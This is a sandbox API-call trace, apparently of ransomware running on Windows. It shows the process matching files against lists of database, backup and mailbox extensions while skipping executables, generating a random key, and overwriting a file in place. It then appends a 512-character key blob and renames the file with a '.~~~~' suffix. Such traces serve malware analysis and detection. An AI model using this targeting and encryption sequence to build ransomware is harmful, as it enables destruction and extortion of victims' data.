	[0077.673] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", lpSrch=".sqb") returned 0x0
	[0077.673] lstrlenW (lpString=".ost") returned 4
	[0077.673] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", lpSrch=".ost") returned 0x0
	[0077.673] lstrlenW (lpString=".txt") returned 4
	[0077.673] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", lpSrch=".txt") returned 0x0
	[0077.673] lstrlenW (lpString=".mdt") returned 4
	[0077.673] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", lpSrch=".mdt") returned 0x0
	[0077.673] lstrlenW (lpString=".BDB") returned 4
	[0077.673] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", lpSrch=".BDB") returned 0x0
	[0077.673] lstrlenW (lpString=".eql") returned 4
	[0077.673] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", lpSrch=".eql") returned 0x0
	[0077.673] lstrlenW (lpString=".DBF") returned 4
	[0077.673] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", lpSrch=".DBF") returned 0x0
	[0077.673] lstrlenW (lpString=".EQL") returned 4
	[0077.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", lpSrch=".EQL") returned 0x0
	[0077.674] lstrlenW (lpString=".FDB") returned 4
	[0077.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", lpSrch=".FDB") returned 0x0
	[0077.674] lstrlenW (lpString=".EDB") returned 4
	[0077.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", lpSrch=".EDB") returned 0x0
	[0077.674] lstrlenW (lpString=".DACPAC") returned 7
	[0077.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", lpSrch=".DACPAC") returned 0x0
	[0077.674] lstrlenW (lpString=".VHD") returned 4
	[0077.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", lpSrch=".VHD") returned 0x0
	[0077.674] lstrlenW (lpString=".DBV") returned 4
	[0077.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", lpSrch=".DBV") returned 0x0
	[0077.674] lstrlenW (lpString=".dacpac") returned 7
	[0077.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", lpSrch=".dacpac") returned 0x0
	[0077.674] lstrlenW (lpString=".sdf") returned 4
	[0077.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", lpSrch=".sdf") returned 0x0
	[0077.674] lstrlenW (lpString=".accdb") returned 6
	[0077.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", lpSrch=".accdb") returned 0x0
	[0077.674] lstrlenW (lpString=".DBX") returned 4
	[0077.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", lpSrch=".DBX") returned 0x0
	[0077.674] lstrlenW (lpString=".MDT") returned 4
	[0077.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", lpSrch=".MDT") returned 0x0
	[0077.674] lstrlenW (lpString=".SQB") returned 4
	[0077.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", lpSrch=".SQB") returned 0x0
	[0077.674] lstrlenW (lpString=".vhd") returned 4
	[0077.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", lpSrch=".vhd") returned 0x0
	[0077.674] lstrlenW (lpString=".bac") returned 4
	[0077.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", lpSrch=".bac") returned 0x0
	[0077.675] lstrlenW (lpString=".mdf") returned 4
	[0077.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", lpSrch=".mdf") returned 0x0
	[0077.675] lstrlenW (lpString=".BAK") returned 4
	[0077.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", lpSrch=".BAK") returned 0x0
	[0077.675] lstrlenW (lpString=".BAC") returned 4
	[0077.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", lpSrch=".BAC") returned 0x0
	[0077.675] lstrlenW (lpString=".dbs") returned 4
	[0077.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", lpSrch=".dbs") returned 0x0
	[0077.675] lstrlenW (lpString=".vhdx") returned 5
	[0077.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", lpSrch=".vhdx") returned 0x0
	[0077.675] lstrlenW (lpString=".NDF") returned 4
	[0077.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", lpSrch=".NDF") returned 0x0
	[0077.675] lstrlenW (lpString=".dat") returned 4
	[0077.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", lpSrch=".dat") returned 0x0
	[0077.675] lstrlenW (lpString=".DBS") returned 4
	[0077.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", lpSrch=".DBS") returned 0x0
	[0077.675] lstrlenW (lpString=".CKP") returned 4
	[0077.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", lpSrch=".CKP") returned 0x0
	[0077.675] lstrlenW (lpString=".edb") returned 4
	[0077.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", lpSrch=".edb") returned 0x0
	[0077.675] lstrlenW (lpString=".PST") returned 4
	[0077.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", lpSrch=".PST") returned 0x0
	[0077.676] lstrlenW (lpString=".dbf") returned 4
	[0077.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", lpSrch=".dbf") returned 0x0
	[0077.676] lstrlenW (lpString=".SQL") returned 4
	[0077.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", lpSrch=".SQL") returned 0x0
	[0077.676] lstrlenW (lpString=".pst") returned 4
	[0077.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", lpSrch=".pst") returned 0x0
	[0077.676] lstrlenW (lpString=".dbv") returned 4
	[0077.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", lpSrch=".dbv") returned 0x0
	[0077.676] lstrlenW (lpString=".SDF") returned 4
	[0077.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", lpSrch=".SDF") returned 0x0
	[0077.676] lstrlenW (lpString=".dtxs") returned 5
	[0077.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", lpSrch=".dtxs") returned 0x0
	[0077.676] lstrlenW (lpString=".db3") returned 4
	[0077.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", lpSrch=".db3") returned 0x0
	[0077.676] lstrlenW (lpString=".OST") returned 4
	[0077.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", lpSrch=".OST") returned 0x0
	[0077.676] lstrlenW (lpString=".dbx") returned 4
	[0077.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", lpSrch=".dbx") returned 0x0
	[0077.676] lstrlenW (lpString=".DB3") returned 4
	[0077.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", lpSrch=".DB3") returned 0x0
	[0077.676] lstrlenW (lpString=".DAT") returned 4
	[0077.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", lpSrch=".DAT") returned 0x0
	[0077.676] lstrlenW (lpString=".VHDX") returned 5
	[0077.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", lpSrch=".VHDX") returned 0x0
	[0077.677] lstrlenW (lpString=".ndf") returned 4
	[0077.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", lpSrch=".ndf") returned 0x0
	[0077.677] lstrlenW (lpString=".DB") returned 3
	[0077.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", lpSrch=".DB") returned 0x0
	[0077.677] lstrlenW (lpString=".sql") returned 4
	[0077.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", lpSrch=".sql") returned 0x0
	[0077.677] lstrlenW (lpString=".MYD") returned 4
	[0077.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", lpSrch=".MYD") returned 0x0
	[0077.677] lstrlenW (lpString=".DBT") returned 4
	[0077.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", lpSrch=".DBT") returned 0x0
	[0077.677] lstrlenW (lpString=".ACCDB") returned 6
	[0077.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", lpSrch=".ACCDB") returned 0x0
	[0077.677] lstrlenW (lpString=".fdb") returned 4
	[0077.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", lpSrch=".fdb") returned 0x0
	[0077.677] lstrlenW (lpString=".bak") returned 4
	[0077.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", lpSrch=".bak") returned 0x0
	[0077.677] lstrlenW (lpString=".myd") returned 4
	[0077.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", lpSrch=".myd") returned 0x0
	[0077.677] lstrlenW (lpString=".DTXS") returned 5
	[0077.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", lpSrch=".DTXS") returned 0x0
	[0077.677] lstrlenW (lpString=".ckp") returned 4
	[0077.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", lpSrch=".ckp") returned 0x0
	[0077.677] lstrlenW (lpString=".dbt") returned 4
	[0077.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", lpSrch=".dbt") returned 0x0
	[0077.678] lstrlenW (lpString=".db") returned 3
	[0077.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", lpSrch=".db") returned 0x0
	[0077.678] lstrlenW (lpString=".TXT") returned 4
	[0077.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", lpSrch=".TXT") returned 0x0
	[0077.678] lstrlenW (lpString=".MDF") returned 4
	[0077.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", lpSrch=".MDF") returned 0x0
	[0077.678] lstrlenW (lpString=".bdb") returned 4
	[0077.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", lpSrch=".bdb") returned 0x0
	[0077.678] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0077.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0077.678] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0077.678] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0077.678] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0077.679] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0077.679] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0077.679] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0077.679] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0077.679] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x28061e8
	[0077.679] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=19766920902) returned 1
	[0077.679] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9831e1f0, dwHighDateTime=0x1d60e1e)) 
	[0077.679] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0077.679] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0077.679] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0077.679] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a95a8
	[0077.679] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0077.679] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a95a8 | out: hHeap=0x300000) returned 1
	[0077.679] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0077.679] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0077.679] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ab8b8
	[0077.679] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0077.680] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a77b8
	[0077.680] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab8b8 | out: hHeap=0x300000) returned 1
	[0077.680] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0077.680] GetLastError () returned 0x0
	[0077.680] GetLastError () returned 0x0
	[0077.680] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0077.680] GetLastError () returned 0x0
	[0077.680] GetLastError () returned 0x0
	[0077.680] ReadFile (in: hFile=0x130, lpBuffer=0x3b76e0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesRead=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0077.761] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0077.761] WriteFile (in: hFile=0x130, lpBuffer=0x3b76e0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0077.762] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b76e0 | out: hHeap=0x300000) returned 1
	[0077.762] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0077.762] WriteFile (in: hFile=0x130, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0077.762] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0077.762] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0077.762] CloseHandle (hObject=0x130) returned 1
	[0077.763] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa460
	[0077.763] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp.~~~~")) returned 1
	[0077.764] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa460 | out: hHeap=0x300000) returned 1
	[0077.764] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0077.764] GetLastError () returned 0x0
	[0077.764] RtlWakeConditionVariable () returned 0x365f70
	[0077.764] GetCurrentThreadId () returned 0x3a4
	[0077.764] GetCurrentThreadId () returned 0x3a4
	[0077.764] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7980
	[0077.764] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7be0 | out: hHeap=0x300000) returned 1
	[0077.764] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dc78 | out: hHeap=0x300000) returned 1
	[0077.764] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7be0
	[0077.764] lstrlenW (lpString=".scr") returned 4
	[0077.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll", lpSrch=".scr") returned 0x0
	[0077.764] lstrlenW (lpString=".cmd") returned 4
	[0077.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll", lpSrch=".cmd") returned 0x0
	[0077.764] lstrlenW (lpString=".dll") returned 4
	[0077.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll", lpSrch=".dll") returned=".dll"
	[0077.764] lstrlenW (lpString=".dll") returned 4
	[0077.764] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7be0 | out: hHeap=0x300000) returned 1
	[0077.764] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7980 | out: hHeap=0x300000) returned 1
	[0077.765] RtlWakeConditionVariable () returned 0x365f70
	[0077.765] GetCurrentThreadId () returned 0x3a4
	[0077.765] GetCurrentThreadId () returned 0x3a4
	[0077.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7980
	[0077.765] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7da8 | out: hHeap=0x300000) returned 1
	[0077.765] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9650 | out: hHeap=0x300000) returned 1
	[0077.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7da8
	[0077.765] lstrlenW (lpString=".scr") returned 4
	[0077.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll", lpSrch=".scr") returned 0x0
	[0077.765] lstrlenW (lpString=".cmd") returned 4
	[0077.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll", lpSrch=".cmd") returned 0x0
	[0077.765] lstrlenW (lpString=".dll") returned 4
	[0077.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll", lpSrch=".dll") returned=".dll"
	[0077.765] lstrlenW (lpString=".dll") returned 4
	[0077.765] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7da8 | out: hHeap=0x300000) returned 1
	[0077.765] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7980 | out: hHeap=0x300000) returned 1
	[0077.765] RtlWakeConditionVariable () returned 0x365f70
	[0077.765] GetCurrentThreadId () returned 0x3a4
	[0077.765] GetCurrentThreadId () returned 0x3a4
	[0077.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7980
	[0077.766] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7e40 | out: hHeap=0x300000) returned 1
	[0077.766] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9688 | out: hHeap=0x300000) returned 1
	[0077.766] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7e40
	[0077.766] lstrlenW (lpString=".scr") returned 4
	[0077.766] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll", lpSrch=".scr") returned 0x0
	[0077.766] lstrlenW (lpString=".cmd") returned 4
	[0077.766] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll", lpSrch=".cmd") returned 0x0
	[0077.766] lstrlenW (lpString=".dll") returned 4
	[0077.766] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll", lpSrch=".dll") returned=".dll"
	[0077.766] lstrlenW (lpString=".dll") returned 4
	[0077.766] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7e40 | out: hHeap=0x300000) returned 1
	[0077.766] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7980 | out: hHeap=0x300000) returned 1
	[0077.766] RtlWakeConditionVariable () returned 0x365f70
	[0077.766] GetCurrentThreadId () returned 0x3a4
	[0077.766] GetCurrentThreadId () returned 0x3a4
	[0077.766] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7980
	[0077.766] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7ed8 | out: hHeap=0x300000) returned 1
	[0077.766] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a96c0 | out: hHeap=0x300000) returned 1
	[0077.766] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7ed8
	[0077.766] lstrlenW (lpString=".scr") returned 4
	[0077.766] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL", lpSrch=".scr") returned 0x0
	[0077.767] lstrlenW (lpString=".cmd") returned 4
	[0077.767] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL", lpSrch=".cmd") returned 0x0
	[0077.767] lstrlenW (lpString=".dll") returned 4
	[0077.767] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL", lpSrch=".dll") returned 0x0
	[0077.767] lstrlenW (lpString=".bat") returned 4
	[0077.767] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL", lpSrch=".bat") returned 0x0
	[0077.767] lstrlenW (lpString=".cpl") returned 4
	[0077.767] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL", lpSrch=".cpl") returned 0x0
	[0077.767] lstrlenW (lpString=".sys") returned 4
	[0077.767] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL", lpSrch=".sys") returned 0x0
	[0077.767] lstrlenW (lpString=".msc") returned 4
	[0077.767] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL", lpSrch=".msc") returned 0x0
	[0077.767] lstrlenW (lpString=".com") returned 4
	[0077.767] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL", lpSrch=".com") returned 0x0
	[0077.767] lstrlenW (lpString=".lnk") returned 4
	[0077.767] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL", lpSrch=".lnk") returned 0x0
	[0077.767] lstrlenW (lpString=".msp") returned 4
	[0077.767] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL", lpSrch=".msp") returned 0x0
	[0077.767] lstrlenW (lpString=".pif") returned 4
	[0077.767] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL", lpSrch=".pif") returned 0x0
	[0077.767] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0077.767] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0077.767] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130
	[0077.769] lstrlenW (lpString=".sqb") returned 4
	[0077.769] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL", lpSrch=".sqb") returned 0x0
	[0077.769] lstrlenW (lpString=".ost") returned 4
